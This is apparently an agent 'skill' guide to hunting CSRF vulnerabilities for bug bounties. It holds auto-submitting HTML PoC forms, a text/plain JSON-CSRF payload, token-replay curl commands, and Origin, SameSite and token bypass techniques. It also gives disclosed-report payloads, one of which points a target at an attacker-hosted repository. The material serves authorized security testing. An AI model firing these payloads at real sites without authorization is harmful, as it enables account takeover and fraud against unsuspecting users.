hunt-csrf

Shortcut: a raw HTTP client beats a real cross-origin page for header-check CSRF

A raw HTTP client (curl, Burp Repeater, any scripting client) is not a browser: it will send whatever Origin/Referer header VALUE you set, from any path, on the same connection as your authenticated cookie. Many apps that claim to defend against CSRF only do a naive string check on the incoming Origin/Referer header (does it contain/equal some expected value?) rather than real same-origin enforcement — you can satisfy that check directly by setting the header, with no actual cross-site delivery (hosting an HTML page, a headless browser) required. This is faster and more reliable than building a real attacker page for this exact pattern:

POST /profile HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://a-domain-the-app-treats-as-trusted-or-attacker-controlled.example
Cookie: <authenticated session>

username=csrf_poc

If some text names a SPECIFIC origin/domain as the "expected" attacker page, that literal value is often exactly what the server's check is looking for — try it verbatim in Origin (fall back to Referer if Origin alone doesn't flip it). Only build a real cross-origin page (actual browser delivery) when the target does genuine SameSite/fetch-based origin enforcement that a spoofed header can't satisfy.

Autonomous Testing Priority

CSRF only matters on state-changing actions that a browser could be tricked into making cross-site.

Testing flow:

1. GET the form endpoint to establish a baseline and check what fields exist (look for hidden csrf_token, authenticity_token, _token, csrfmiddlewaretoken fields).
2. POST the state-changing action without any CSRF token field. Send only the functional parameters (email, amount, etc.).
3. Use a "simple-request" Content-Type — application/x-www-form-urlencoded, multipart/form-data, OR text/plain are the three CORS "simple" content-types a cross-origin form can send with no preflight. A JSON endpoint is CSRF-resistant only if the server rejects those — if it also accepts a text/plain body (common), craft a text/plain payload that parses as valid JSON (see the JSON-CSRF-via-text/plain section). Don't skip a JSON endpoint on the assumption that application/json alone is protective.
4. If the action succeeds (2xx, no "invalid token" error) → CSRF is confirmed.

High-value targets (in order of impact):

• Email/password change → account takeover
• Money transfer or payment → financial fraud
• Admin actions (role assignment, user deletion)
• OAuth social-account linking → persistent ATO

Token bypass techniques when a token IS present:

• Omit the token field entirely — some frameworks only validate if the field exists, not if it's absent
• Send an empty value (_token=) — some validate format, not presence
• Copy a token from another session — some tokens aren't tied to the session

Scope: Don't test CSRF on login forms (no existing session to exploit), logout (no real impact), or read-only GET endpoints.

Crown Jewel Targets

CSRF becomes high-value when it touches state-changing actions with account-level or financial consequences. The highest-paying targets are:

• Account takeover vectors: OAuth/SSO flows (RelayState manipulation), social account linking/unlinking (Oculus-Facebook, SocialClub), import-friends features that expose OAuth tokens
• Authentication infrastructure: Login CSRF, session fixation via CSRF, forced account association
• API endpoints accepting cross-origin POST: JSON APIs, heartbeat/activity APIs, anything that skips Content-Type enforcement
• Third-party integrations: Grafana, monitoring dashboards, embedded analytics — often lag on CSRF protections
• Social platforms: Twitter/X collections, friend imports, social graph mutations — high-volume, authenticated actions with real user impact

Asset types that pay most: Core product auth flows > API gateways > third-party integrations running on subdomains > admin panels.

Attack Surface Signals

URL Patterns

/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)

Response Header Signals

# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly        # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None   # explicitly allows cross-site

# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true      # dangerous combo

JS / DOM Patterns

// Static or predictable CSRF tokens
meta[name="csrf-token"]   // grep if value changes across sessions
authenticity_token        // Rails — check if reused across page loads

// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})

// No CSRF token in form at all
<form method="POST" action="/accounts/link">  // no hidden token field

Tech Stack Signals

• Rails apps: Look for authenticity_token — test if it's static per session
• Django apps: Check csrfmiddlewaretoken — test cross-user/session reuse
• Grafana instances: CVE-2022-21703 — check version via /api/health
• SAMLv2/OIDC flows: RelayState parameter rarely validated
• Express/Node APIs: Often skip CSRF middleware on /api/* routes

Step-by-Step Hunting Methodology

1. Map all state-changing endpoints — Spider authenticated session, filter for POST/PUT/DELETE/PATCH. Note every form and AJAX call.

2. Check cookie SameSite attributes — In DevTools → Application → Cookies. Flag any session cookie without SameSite=Strict or Lax.

3. Test token staticness — Log in twice (different sessions or incognito). Compare authenticity_token / csrfmiddlewaretoken / csrf-token values across:

   • Same session, different page loads (should be different)
   • Different sessions for same user
   • Different users entirely

4. Test token omission — Remove the CSRF token field entirely from a POST request. If the server returns 200, you have CSRF.

5. Test token substitution — Replace the token with one from a different session. Server accepting it = broken validation.

6. Test JSON endpoints for form-POST CSRF — Check if Content-Type is enforced:

   • Send application/x-www-form-urlencoded to a JSON endpoint
   • Send text/plain with a JSON body
   • If accepted, HTML form can trigger it cross-origin

7. Hunt OAuth/SSO RelayState — Intercept SAML/OIDC flows. Test if RelayState is validated for same-origin. Inject external URLs.

8. Check social linking flows — Every "connect your X account" feature. These often use redirect-based OAuth where CSRF on the callback can associate an attacker's social account.

9. Test third-party dashboards on subdomains — Grafana, Kibana, Prometheus. Check version, apply known CVEs, test default CSRF posture.

10. Build PoC HTML page — Host on a different origin, fire the request, confirm cookies are sent and action executes.

Payload & Detection Patterns

Basic CSRF PoC (Form POST)

<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/v1/account/link">
    <input type="hidden" name="provider" value="attacker_account_id" />
    <input type="hidden" name="token" value="oauth_token_here" />
  </form>
</body>
</html>

JSON CSRF via text/plain (bypasses Content-Type check)

<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/heartbeat"
        enctype="text/plain">
    <!-- browser sends: {"status":"ok","x":"=padding"} -->
    <input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
  </form>
</body>
</html>

curl: Test CSRF token omission

# Capture a valid request, then replay without token
curl -s -X POST https://target.com/settings/email \
  -H "Cookie: session=YOUR_SESSION" \
  -d "[email protected]" \
  -v 2>&1 | grep -E "HTTP|location|error"

curl: Test token reuse across sessions

# Get token from session A
TOKEN_A=$(curl -s https://target.com/settings -H "Cookie: session=SESSION_A" \
  | grep -oP 'authenticity_token[^"]*value="\K[^"]+')

# Use token A in session B's request
curl -s -X POST https://target.com/settings/update \
  -H "Cookie: session=SESSION_B" \
  -d "authenticity_token=$TOKEN_A&[email protected]" \
  -v

Grep patterns for recon

# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'

# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"

# Check SameSite in response headers
curl -sI https://target.com/login | grep -i "set-cookie"

# Find RelayState parameters
grep -r "RelayState" --include="*.js" .

Grafana CVE-2022-21703 version check

curl -s https://monitoring.target.com/api/health | jq '.version'
# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15

Common Root Causes

1. Static CSRF tokens per session — Developers generate one token at login and reuse it. Airbnb bug: authenticity_token was the same across all page loads for a session, making it trivially leakable.

2. Token not tied to user identity — Token is valid server-wide or rotates on a schedule, not per-user/session. Mozilla bug: csrftoken reusable across users.

3. Missing token on "secondary" endpoints — Developers protect login/signup but forget API endpoints, import flows, or webhook handlers.

4. JSON API assumption of safety — Belief that Content-Type: application/json prevents CSRF. It does via CORS preflight — unless the server also accepts text/plain or application/x-www-form-urlencoded.

5. SameSite=None for cross-site embeds — Developers set SameSite=None to support iframe embeds or third-party integrations, inadvertently re-enabling CSRF.

6. OAuth RelayState not validated — Developers implement SAML/OIDC but treat RelayState as a redirect hint, not a CSRF state parameter requiring cryptographic binding.

7. Framework misconfiguration — CSRF middleware excluded for /api/* routes in Django/Rails because "API clients don't need it," but browser-based JS clients do.

8. Third-party software defaults — Grafana, Kibana, Jenkins shipped with weak or no CSRF protection in older versions; teams don't patch or check.

Bypass Techniques

Defense: SameSite=Lax cookies

Bypass: Top-level navigation GET requests still work. If the sensitive action can be triggered via GET (or if a redirect chain converts POST→GET), Lax doesn't protect it. Also: subdomains can still set cookies for parent domain.

Defense: CSRF token present

Bypasses:

• Token is static per session — steal via XSS, Referer leakage, or cached page
• Token not validated server-side — just remove it and try
• Token validated by length/format only — submit a fake but correctly-formatted value
• Token tied to session but session is predictable

Defense: Content-Type: application/json enforcement

Bypass: Use text/plain enctype with crafted form input names that produce valid JSON. Server receives JSON body, skips CORS preflight.

Defense: Referer/Origin header check

Bypasses:

• Null Origin: use sandboxed iframe (<iframe sandbox="allow-scripts allow-forms">)
• Subdomain bypass: if *.target.com is trusted and you have XSS on any subdomain
• Referer stripping: HTTPS→HTTP transitions strip Referer header
• Weak matching: target.com.evil.com passes naive string matching

Defense: Double-submit cookie pattern

Bypass: If attacker can set cookies (subdomain takeover, cookie injection via HTTP), they can set both the cookie and the form field to matching attacker-controlled values.

Defense: Custom request header (e.g., X-Requested-With)

Bypass: Simple requests (form POST, text/plain) don't trigger preflight and can't set custom headers — but some servers only check for header presence, not value, and some frameworks accept requests without it.

Gate 0 Validation

1. What can the attacker DO right now? — The attacker must be able to trigger a specific state-changing action (account linking, email change, data deletion, social association) on behalf of the victim without any interaction beyond visiting a URL or page.

2. What does the victim LOSE? — Identify the concrete harm: account access (ATO), data exposure, financial loss, reputation damage. "A CSRF token is missing" is not impact — "attacker can link their Oculus account to victim's Facebook account, gaining full profile access" is impact.

3. Can it be reproduced in 10 minutes from scratch? — You must be able to: (a) create attacker and victim accounts, (b) host a static HTML PoC, (c) have victim visit PoC, (d) confirm the action executed in victim's account — all within 10 minutes with no additional prerequisites.

Real Impact Examples

Scenario 1: Social Account Takeover via Import Friends (Rockstar Games)

An attacker crafted a malicious page targeting the "Import Friends" OAuth integration. When an authenticated SocialClub user visited the page, the CSRF triggered the OAuth token exchange with an attacker-controlled social account. The victim's SocialClub account became permanently linked to the attacker's Facebook/social identity, enabling full account access without the victim's knowledge. Rated high severity due to complete account compromise path.

Scenario 2: Facebook Account Hijacking via Oculus Integration CSRF

During Oculus-Facebook account linking, the OAuth callback lacked proper CSRF state validation. An attacker could craft a URL that, when loaded by an authenticated Facebook user who had started the Oculus linking flow, would associate the attacker's Oculus device credentials with the victim's Facebook account. The attacker then had persistent access to the victim's Facebook profile through the Oculus app. The attack required only that the victim click a link while logged into Facebook.

Scenario 3: JSON API CSRF on Heartbeat/Activity Tracking

A POST endpoint accepting application/json was assumed CSRF-safe by developers. A researcher crafted an HTML form using enctype="text/plain" with an input name designed to produce syntactically valid JSON when submitted. The browser sent the request cross-origin without a preflight (no custom headers, text/plain is a simple request), cookies were attached, and the server processed the JSON body as legitimate — silently logging attacker-controlled activity data under the victim's account identity.

Disclosed Report Citations (Backfill +5 — 2020-2024)

The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Four cases chain CSRF to full ATO; all five are modern (SameSite-era).

11. Argo CD — SameSite=Lax bypass via sibling subdomain + Content-Type abuse (CVE-2024-22424) (GHSA-92mw-q256-5vwg · Writeup)

    • Subclass: SameSite=None/Lax misconfig chain — same parent-domain bypass + JSON CSRF via missing Content-Type enforcement
    • Payload: hosted on marketing.victim.com, target argocd.internal.victim.com → fetch('https://argocd.internal.victim.com/api/v1/applications', {method:'POST', credentials:'include', body:'{"metadata":{"name":"pwn"},"spec":{"source":{"repoURL":"https://attacker/manifest.git"}}}'})
    • Root cause: Argo CD did not enforce Content-Type: application/json, and SameSite=Lax is moot when the attacker controls any sibling subdomain of the shared parent
    • Year: 2023 reported, fixed Jan 2024 in 2.7.16/2.8.8/2.9.4

12. GitLab — CSRF on /api/graphql via GET-converted mutations (H1 #1122408)

    • Subclass: GET-state-changing endpoint (GraphQL mutations through GET requests)
    • Payload: <img src="https://gitlab.com/api/graphql?query=mutation{createSnippet(input:{title:%22x%22,visibilityLevel:public,content:%22pwn%22}){snippet{id}}}">
    • Root cause: backend skipped X-CSRF-Token validation when the HTTP method was GET; GraphQL accepted mutations via ?query=mutation{...} query string
    • Year: 2021 — $3,370

13. Stripe Dashboard — CSRF middleware disabled by code change (H1 #1483327)

    • Subclass: framework misconfiguration — middleware globally disabled
    • Payload: <form method="POST" action="https://dashboard.stripe.com/account/settings" enctype="text/plain"><input name='{"business_name":"pwned","x":"' value='"}'></form> + auto-submit script
    • Root cause: 2022-02-14 deploy inadvertently turned off CSRF middleware across all Stripe Dashboard endpoints
    • Year: 2022 — $5,000 ($2,500 × 2 researchers)

14. GitHub Enterprise Server — CSRF bypass via path traversal (CVE-2022-23732) (H1 #1497169)

    • Subclass: CSRF token validation bypass (path traversal smuggles request past token check)
    • Payload: <form method=POST action="https://ghes.victim.com/setup/api/start/..%2f..%2fadmin%2fusers"><input name=login value=attacker></form>
    • Root cause: router matched the post-traversal path for execution but pre-traversal path for CSRF-protection scope, so the protected endpoint was reached without a valid token
    • Year: 2022 — $10,000

15. HackerOne self — CSRF on social account linking → ATO (H1 #1727221)

    • Subclass: account-link CSRF (social provider attach without state binding)
    • Payload: <img src="https://hackerone.com/users/social_accounts/google?code=ATTACKER_CODE&state=PREDICTABLE"> — victim's browser completes attacker-initiated link flow
    • Root cause: token bound to OAuth-link callback was either reused across attempts or not user-bound, so attacker-issued link callbacks were accepted on the victim's session — attacker's Google account becomes a valid login path = ATO
    • Year: 2022 — informational scope on H1 self-program, but public PoC

Duende BFF — Role-Partitioned Antiforgery (2024-2026 surface)

Duende BFF (commercial successor to IdentityServer4) is the canonical ASP.NET Core BFF library for SPAs. Its antiforgery primitive is non-standard and not user-bound: instead of ASP.NET Core's per-session/per-user double-submit token, Duende only requires the presence of a static header X-CSRF: 1 on every BFF-mapped endpoint. The header value is identical for every caller; it exists only to force a CORS preflight on cross-origin calls. This collapses CSRF defence to "same-origin + session cookie present" — and produces several distinct attack patterns when one BFF serves multiple privilege partitions.

Architecture primer: browser↔BFF authenticates via an encrypted HttpOnly session cookie (default .AspNetCore.Cookies); BFF↔API uses OAuth tokens cached server-side. Endpoints registered via MapBffManagementEndpoints / MapRemoteBffApiEndpoint / MapBffApiEndpoint enforce X-CSRF: 1 and session presence — nothing else. (docs.duendesoftware.com/bff, Duende blog Mar 2025)

Attack class 1 — X-CSRF: 1 is not user-bound, so cross-role replay succeeds same-origin

When a single BFF serves /admin/* and /user/* partitions, the antiforgery primitive cannot distinguish role-A from role-B. Any same-origin script that can land an XHR with X-CSRF: 1 and the victim's session cookie reaches admin endpoints if the victim has the admin role. Stock ASP.NET Core antiforgery (which binds the token to HttpContext.User.Identity.Name and rejects on identity change) does the right thing here; Duende BFF does not. (docs.duendesoftware.com/bff/fundamentals/options)

Payload shape: from a logged-in low-priv session, fetch('/bff/admin/users/delete?id=42', {credentials:'include', headers:{'X-CSRF':'1'}}) — succeeds if the victim's session happens to hold the admin role and the attacker can land any same-origin script (self-XSS, subdomain-takeover JS, dependency-confusion).

Attack class 2 — SignalR/WebSocket carve-out (the /negotiate shortcut)

Browser WebSockets cannot send custom headers, so X-CSRF: 1 cannot be enforced on the upgrade. Developers routinely work around this by excluding SignalR hub paths from BFF antiforgery (MapHub<X>().DisableAntiforgery() or registering them as non-BFF endpoints). Once excluded, any same-site origin (including a takenover sibling subdomain or a stored-XSS page) can open the WS with the ambient session cookie → CSRF-over-WebSocket to invoke hub methods that mutate state.

Payload shape: cross-origin page opens new WebSocket("wss://bff.example.com/hubs/admin") — browser sends session cookie, no X-CSRF required, attacker invokes DeleteUser(id) via standard SignalR JSON frame. (DuendeArchive/Support#972, learn.microsoft.com/aspnet/core/signalr/security)

Attack class 3 — Cookie-domain wildcarding turns subdomain takeover into session fixation

BFF session cookies default to host-only, but developers commonly override with options.Cookie.Domain = ".example.com" to share login across app.example.com and admin.example.com. This drops the __Host- prefix protection. Take over legacy.example.com (CNAME to deprovisioned Heroku/S3) → set Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com → victim hits app.example.com carrying attacker's session = session-fixation ATO. (nestenius.se BFF cookie hardening)

Evidence strength

No Duende.BFF-direct CVE exists as of 2026-05. The three classes above are design-level / documented behaviour that becomes a live finding when paired with a co-resident primitive (same-origin script execution, SignalR carve-out, or subdomain takeover). Report severity should lean on the chain's business impact rather than CVE citation. Adjacent confirmed CVEs in the Duende ecosystem: CVE-2025-26620 (Duende.AccessTokenManagement race), CVE-2024-51987 (Duende.AccessTokenManagement.OpenIdConnect incorrect-token-after-refresh), CVE-2024-39694 (Duende.IdentityServer open redirect). (Duende advisories on GitHub)

Hunting checklist

1. curl https://target/bff/user -H 'X-CSRF: 1' -b '<session>' — dumps the full claim set including internal IDs, role names, tenant IDs (info disclosure on its own).
2. Inspect Set-Cookie on /bff/login callback — flag Domain= attribute (vs __Host- prefix); flag missing Secure/HttpOnly.
3. From a low-priv session, replay admin-partition POSTs with X-CSRF: 1 to confirm no per-role token binding.
4. Enumerate SignalR/WS hubs (/hubs/*, /signalr/*) — open without X-CSRF; if 101 Switching Protocols, CSWSH-style attacks viable.
5. Subdomain inventory + DNS-takeover scan for any *.example.com if BFF cookie has Domain=.example.com.

Related Skills & Chains

• hunt-xss — Any XSS on a trusted origin neutralizes CSRF defenses (token, SameSite, Origin check) instantly. Chain primitive: XSS reads the meta[name=csrf-token] value and same-origin-fetches /accounts/email with attacker payload → one-click ATO via attacker-page postMessage triggering the stored XSS to perform the state change.
• hunt-auth-bypass — CSRF combined with an auth-bypass primitive lets attacker-side scripts perform state changes that should have required step-up auth. Chain primitive: CSRF on /settings/password reaches an endpoint that skips the re-auth check → password change executes without the victim ever entering their current password → ATO.
• hunt-oauth — OAuth/SAML state/RelayState is structurally a CSRF token; missing validation here is account-linking CSRF. Chain primitive: attacker initiates OAuth on their account, sends victim the /callback?code=X&state= URL → victim's logged-in browser completes the link → attacker's social identity now controls victim's account.
• security-arsenal — Reach for the CSRF PoC templates (form POST, enctype=text/plain JSON, sandboxed-iframe null-origin, base64 multipart bypass) before writing one from scratch; also the WAF-bypass header variants for Origin/Referer checks.
• triage-validation — Run the Pre-Severity Gate before submitting CSRF on a logout endpoint or any action without state-change consequence — those are the canonical N/A traps. Confirm victim LOSES something concrete (account access, money, data), not just "a request executed."